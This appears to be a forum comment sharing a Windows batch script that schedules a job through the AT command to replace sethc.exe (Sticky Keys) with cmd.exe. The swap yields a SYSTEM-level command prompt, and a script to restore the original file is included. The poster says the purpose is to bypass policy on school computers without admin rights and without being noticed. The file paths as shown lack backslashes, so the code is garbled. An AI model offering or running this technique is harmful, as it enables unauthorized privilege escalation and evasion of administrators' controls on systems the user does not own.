This is a great idea, I ran into a couple of problems so I thought I would share my solutions. First of all I'd like to say that I am aware most people will not have access to the AT command, but for the few people that may be in a similar situation as me...
My Situation: I DO NOT have Local Admin privileges but I do have higher privileges than standard users, I need access to a system cmd to bypass policy without drawing attention to myself from other students. I am unable to simply replace the file from windows and booting from another media is not possible.
Ok anyone thats in a similar situation to me, heres my solution
@ECHO off
ECHO @ECHO off>%systemroot%sethc.bat
ECHO REN %systemroot%system32sethc.exe sethc.bak>>%systemroot%sethc.bat
ECHO COPY %systemroot%system32cmd.exe %systemroot%system32sethc.exe>>%systemroot%sethc.bat
ECHO DEL %systemroot%sethc.bat /q
SET /a nextmin=(%time:~3,2% + 1)
SET newtime=%time:~0,3%%nextmin%
AT %newtime% /interactive %systemroot%sethc.bat
Fairly simple code.... VERY simple code... but if anyone wants an explanation let me know. I'm just too lazy to do it right now.
NOTE - I purposely used cmd i am aware i could just create a Local Admin account but that is not what i need.
EDIT - Just to clarify I could just use
SET /a nextmin=(%time:~3,2% + 1)
SET newtime=%time:~0,3%%nextmin%
AT %newtime% /interactive cmd
but I want to be able to close the cmd prompt easily and reopen it when necessary which is why I chose the longer version.
If you would like the restore file here it is I forgot to post it because I don't have a need for it
@ECHO off
DEL %systemroot%system32sethc.exe
REN %systemroot%system32sethc.bak sethc.exe